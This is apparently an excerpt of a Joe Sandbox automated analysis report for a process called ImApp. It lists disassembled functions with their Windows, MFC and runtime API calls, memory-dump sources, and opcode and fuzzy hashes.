Function 00405DD0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

#810.IMUTILSU(0000003A,00000000), ref: 00405DED
#1323.IMUTILSU(0000003A,00000000), ref: 00405DF4
_time64.MSVCR80 ref: 00405E01
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00405E1E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1323#810Unothrow_t@std@@@__ehfuncinfo$??2@_time64
String ID:
API String ID: 749080052-0
Opcode ID: 0b64e63470e11f34bcbae6c88985dfc0e3718b9f5eaf3a7a6c54b05238ba520a
Instruction ID: ab24efedc8d4b6aecf6c87de374aa55812b25f8e14473aae3a28e4284d1383bc
Opcode Fuzzy Hash: 0b64e63470e11f34bcbae6c88985dfc0e3718b9f5eaf3a7a6c54b05238ba520a
Instruction Fuzzy Hash: 7BF0F972740A1022D37462698C0DB9B9295DBD0751F09843BF588E63C0D6BD8D828AD4

Function 004055A0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

#810.IMUTILSU(00000002,00000000), ref: 004055A7
#1323.IMUTILSU(00000002,00000000), ref: 004055AE
#810.IMUTILSU(00000003,00000000,00000002,00000000), ref: 004055C4
#1323.IMUTILSU(00000003,00000000,00000002,00000000), ref: 004055CB

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1323#810
String ID:
API String ID: 1523687922-0
Opcode ID: 7961052fc7b128a2c44cb98c5ede1f40e29e56c5e6764683269cdc092b6e5084
Instruction ID: 53e299cf82928c20b58a4c89e77ee086b762f8c7ebaea242e93da3335fa2efb7
Opcode Fuzzy Hash: 7961052fc7b128a2c44cb98c5ede1f40e29e56c5e6764683269cdc092b6e5084
Instruction Fuzzy Hash: 19018871601A015AD310AB76CC14B9B77E6EFC4714F04CD2EE5A9972C4DE3498468B55

Function 00403EF0 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403F13
#314.MFC80U(00000000,FC8A6036), ref: 00403F1D
#1078.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041DD98,000000FF), ref: 00403F47
#6751.MFC80U(00000000,?,?,?,?,?), ref: 00403F71

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#1078#314#6751
String ID:
API String ID: 2855093051-0
Opcode ID: d39f6f46ab2c1b4cabda3828fd7a612be10abcb9e7a4b9ad9c7b60bb0b68d689
Instruction ID: 83ce006f9603f302e16700e68e04679e43cf728d0326d83ecf8f578a8000ed1c
Opcode Fuzzy Hash: d39f6f46ab2c1b4cabda3828fd7a612be10abcb9e7a4b9ad9c7b60bb0b68d689
Instruction Fuzzy Hash: 52011BB1608242AFC304DF19D941F5BB7E8FB88B14F048A1EF0A597390D778D945CBA6

Function 0040A3E0 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 0040A406
#314.MFC80U(00000000,FC8A6036), ref: 0040A410
#830.IMUTILSU(?,?,?,?,?,?,?,?,?,?,?,?,0041EC88,000000FF), ref: 0040A424
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0041EC88,000000FF), ref: 0040A450

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#6751#830
String ID:
API String ID: 1301280818-0
Opcode ID: 0700eb3f7b9d99d2a2ec0931a2cfc25d86562385634bf6b66cefc005866056d2
Instruction ID: d9adde861a16e3fc74ce3872d48c6e12b45ae8f7733b24d7c6c31d6b2ebdd3b7
Opcode Fuzzy Hash: 0700eb3f7b9d99d2a2ec0931a2cfc25d86562385634bf6b66cefc005866056d2
Instruction Fuzzy Hash: 400148712083509FD314EF29C941B9BB7E4FB88724F044A2EF0A4973D1DB78D8448B9A

Function 100098A0 Relevance: 6.0, APIs: 4, Instructions: 33filesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000000,10009755,00000000,?,10002123,?,?,DC7F1836,00000000,?,00000000,00000000,?,00000001), ref: 100098B1
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,?,00000000), ref: 100098C6
UnmapViewOfFile.KERNEL32(-00000001,?,?,?,?,?,00000000), ref: 100098D6
ReleaseMutex.KERNEL32(?,?,?,?,?,?,00000000), ref: 100098E0

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: FileView$MutexObjectReleaseSingleUnmapWait
String ID:
API String ID: 2543068594-0
Opcode ID: 1fb0800f987d550f40d27b38ec2915cb785ec9fe71e634817314e134035c77e0
Instruction ID: 2cb374a0939e76f08329036f11f477434b9f7f186dd5e585374c6cb84824bf52
Opcode Fuzzy Hash: 1fb0800f987d550f40d27b38ec2915cb785ec9fe71e634817314e134035c77e0
Instruction Fuzzy Hash: 35F0D471600701ABEA609F759C48E033BF8EB86B91B014A28F452C3298DA34E808DB20

Function 100098F0 Relevance: 6.0, APIs: 4, Instructions: 33filesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000000,10009804,00000000,100021C6,00000001,DC7F1836,?), ref: 10009901
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 10009916
UnmapViewOfFile.KERNEL32(-000000FF), ref: 10009926
ReleaseMutex.KERNEL32(?), ref: 10009930

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: FileView$MutexObjectReleaseSingleUnmapWait
String ID:
API String ID: 2543068594-0
Opcode ID: 48ca995323bdc31d0ab45494390f41f80552393f68c4a94e15a91473139ed748
Instruction ID: 806623b373d3489e8d95fe6f5a15c69c5ced5b5299917f9ea7688e783fca34a5
Opcode Fuzzy Hash: 48ca995323bdc31d0ab45494390f41f80552393f68c4a94e15a91473139ed748
Instruction Fuzzy Hash: B4F0D471600741ABEA609F799C48F073BF9EB86BA1B014A58B4A2C31D8DB34D808CA20

Function 03273B40 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,00000000,00000000), ref: 03273B58
??3@YAXPAX@Z.MSVCR80(?), ref: 03273B70
DestroyWindow.USER32(00000000), ref: 03273B7E
??3@YAXPAX@Z.MSVCR80(?), ref: 03273B88

Part of subcall function 032711A0: DeleteObject.GDI32(?), ref: 03271202
Part of subcall function 032711A0: DeleteObject.GDI32(?), ref: 03271208

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: ??3@DeleteObjectWindow$DestroyLong
String ID:
API String ID: 4169364805-0
Opcode ID: 80307b46f312c418005f3a48fe7d25e5144bf9da23acc70a324c89f0cdffe1c3
Instruction ID: 4b618e311731f4dd0ff8b383978f8942a21f8666493f4dbf9602a119b63f1e03
Opcode Fuzzy Hash: 80307b46f312c418005f3a48fe7d25e5144bf9da23acc70a324c89f0cdffe1c3
Instruction Fuzzy Hash: 34F08279710701ABC224EB54E84DB1BB3A9BFC5B00B18481CF44ACB740DA71F881C750

Function 020E7520 Relevance: 6.0, APIs: 4, Instructions: 18windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 020E7527
#6086.MFC80U(00000005), ref: 020E7535
SetCapture.USER32(?), ref: 020E753E
#2366.MFC80U(00000000), ref: 020E7545

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #2366#6086CaptureVisibleWindow
String ID:
API String ID: 3776194335-0
Opcode ID: b2dbd4cbee869ec112f6f02e7f28200a1f708eac4139f237b7734bfbd70ce2a2
Instruction ID: 44a789764587db3c208a2167d0351a66a76a97e89631e8b789ba41c7516f7d7d
Opcode Fuzzy Hash: b2dbd4cbee869ec112f6f02e7f28200a1f708eac4139f237b7734bfbd70ce2a2
Instruction Fuzzy Hash: ECD012B1B40B109BCB64AB74AD08B9777D97B48745F00494DB347C7650EB79E9818B90

Function 00414FA0 Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

#810.IMUTILSU(0000001C,00000000), ref: 00414FA4
#1323.IMUTILSU(0000001C,00000000), ref: 00414FAB
#810.IMUTILSU(0000008E,00000000,0000001C,00000000), ref: 00414FBA
#1323.IMUTILSU(0000008E,00000000,0000001C,00000000), ref: 00414FC1

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1323#810
String ID:
API String ID: 1523687922-0
Opcode ID: 33ec051f9c3d60460011ec887e3a09645e9cb79d58ea0039bb9d332c994bf5c8
Instruction ID: 357a377ff45deea2f6465581f979965cfa0001151a0255bc156e0aeb1563822d
Opcode Fuzzy Hash: 33ec051f9c3d60460011ec887e3a09645e9cb79d58ea0039bb9d332c994bf5c8
Instruction Fuzzy Hash: C0D0C9B839020811FE1032B20D12BEA00849B90748F84186A7A84CA2C1EA8CC8C21698

Function 10007D90 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 223COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,DC7F1836,?,?,?,?,?,?,?,?,?,?,?,?,?,1000B059), ref: 10007DCA
_CxxThrowException.MSVCR80(?,1000D574), ref: 10007DF1

Strings

map/set<T> too long, xrefs: 10007DC1

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: a75d12cdd5fab26477a62957d3410028bfd9f22ca7c8682e83c6cd7cbf87259f
Instruction ID: 4deb5a669b16cc4f752f6bedaa826a47fbf00b385b20975e6b20a1822f080356
Opcode Fuzzy Hash: a75d12cdd5fab26477a62957d3410028bfd9f22ca7c8682e83c6cd7cbf87259f
Instruction Fuzzy Hash: 11A1FFB5904682DFD315CF14C180415FBA2FF89794B29CA9EE8991B71AC776FC82CB90

Function 10005BC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 223COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,DC7F1836,?,?,?), ref: 10005BFA
_CxxThrowException.MSVCR80(?,1000D574), ref: 10005C21

Strings

map/set<T> too long, xrefs: 10005BF1

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 8d8273a99d2dddd2440b7703a78041d1c2f3f813deb7fc613c8097e42a58b804
Instruction ID: b4363579e01e117c0a70aaf76ddadeb0c996fd324e730de72fc166649e57a88c
Opcode Fuzzy Hash: 8d8273a99d2dddd2440b7703a78041d1c2f3f813deb7fc613c8097e42a58b804
Instruction Fuzzy Hash: E5A1F375505682DFE725CF14C180906FBB2FB89794B29C68ED8591B71AC772F881CBD0

Function 10005380 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,DC7F1836,?,035CB140,?,035CB140), ref: 100053BE
_CxxThrowException.MSVCR80(?,1000D574), ref: 100053E5

Strings

map/set<T> too long, xrefs: 100053B5

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 3513355972503f08121071e8e5a9ba24c53d54b6ef8a3e768060203ce87116a1
Instruction ID: d57c81eae0fa13eded4363bcd0ad041d45277e345c95d37a2b09480b5be84e99
Opcode Fuzzy Hash: 3513355972503f08121071e8e5a9ba24c53d54b6ef8a3e768060203ce87116a1
Instruction Fuzzy Hash: CDA133B5908B529FE311CF14C590406FBA2FB597A6729CA8EE4991B755C372FC82CBC0

Function 020D6020 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,00000000,?,?), ref: 020D605A
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020D6081

Strings

map/set<T> too long, xrefs: 020D6051

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 2793863772f591cebd19568c3d7f1373c14b38bffce378b128d70d1de809ec9f
Instruction ID: 769ad106936cbb2e7bfcc88dddfc7dbafd2661c2d89cf4e64c9efc336f2625b4
Opcode Fuzzy Hash: 2793863772f591cebd19568c3d7f1373c14b38bffce378b128d70d1de809ec9f
Instruction Fuzzy Hash: E28123B4A06741DFC319CF14D180A52FBE5BF4A304B69CA9DD4598F762D772E882DB80

Function 020E9090 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?), ref: 020E90CA
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020E90F1

Strings

map/set<T> too long, xrefs: 020E90C1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: b7e6fdb30eef1b7b0584479a73a83f6eab55e6b088f4f2ff7258ebc873482951
Instruction ID: 29dbcf5569388461c6604bb45eb4c474b7f92274239a933f1c6d3babe20f34a4
Opcode Fuzzy Hash: b7e6fdb30eef1b7b0584479a73a83f6eab55e6b088f4f2ff7258ebc873482951
Instruction Fuzzy Hash: 318110B4605745DFCB15CF14D284A16FBE2BF49304B2AC69ED45A8B322D732EC82DB90

Function 020C5130 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_0002F369), ref: 020C516A
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020C5191

Strings

map/set<T> too long, xrefs: 020C5161

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: d2999e0ca4ab3ab697471af88dd222d31982ba9845cdb2277d8024c9e50e382c
Instruction ID: a53e8c5bd30e743c11e7ed538e33ab451a381b0c5623954fea13ce796d47a062
Opcode Fuzzy Hash: d2999e0ca4ab3ab697471af88dd222d31982ba9845cdb2277d8024c9e50e382c
Instruction Fuzzy Hash: C0810FB8605741DFC715CF14C684A1AFFE2BB4A304BA9C68DD8499B326D731F882DB90

Function 020D3170 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 020D31AA
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020D31D1

Strings

map/set<T> too long, xrefs: 020D31A1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 270460e69a342056968a90423291ab97060a0b9a8f08a80a63db896abf63ec07
Instruction ID: c3fd00d7628dc48fdaef232d330929404a04bd019b35016dd5bec837dc945303
Opcode Fuzzy Hash: 270460e69a342056968a90423291ab97060a0b9a8f08a80a63db896abf63ec07
Instruction Fuzzy Hash: E781CFB4A067819FC715CF14C280A66FBE2BB49704B29C6D9D4598B722D771E882DF81

Function 020E66A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,020EF369), ref: 020E66DA
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020E6701

Strings

map/set<T> too long, xrefs: 020E66D1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 02fcdb16d67179cb76d56551e18414d0ea046d27b8a8f96baaeb6f9c1113adf7
Instruction ID: fe1b7765467f18905ecd4e9d653eae61eec45ab68cfacb84deaf6dbe553adc96
Opcode Fuzzy Hash: 02fcdb16d67179cb76d56551e18414d0ea046d27b8a8f96baaeb6f9c1113adf7
Instruction Fuzzy Hash: B08122B4904741DFCB59CF14D280A16FBE6BF59304B69C69DD49A8B722D332E882DF80

Function 020E3420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_0002F369), ref: 020E345A
_CxxThrowException.MSVCR80(?,020FC81C), ref: 020E3481

Strings

map/set<T> too long, xrefs: 020E3451

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: map/set<T> too long
API String ID: 2503356448-1285458680
Opcode ID: 5fc1273aff25047eed44904e535b1fd7205ab3c6dca2c3bc5a67df95da290df0
Instruction ID: b3b0b86062e1fc0c95ecc183a15c40c0017b0079be4c09b190e574d96416b858
Opcode Fuzzy Hash: 5fc1273aff25047eed44904e535b1fd7205ab3c6dca2c3bc5a67df95da290df0
Instruction Fuzzy Hash: 1F81CFB1604741DFCB56CF24C180A66FBE2BF49704B69C6D9D45A8B722D732E886DB80

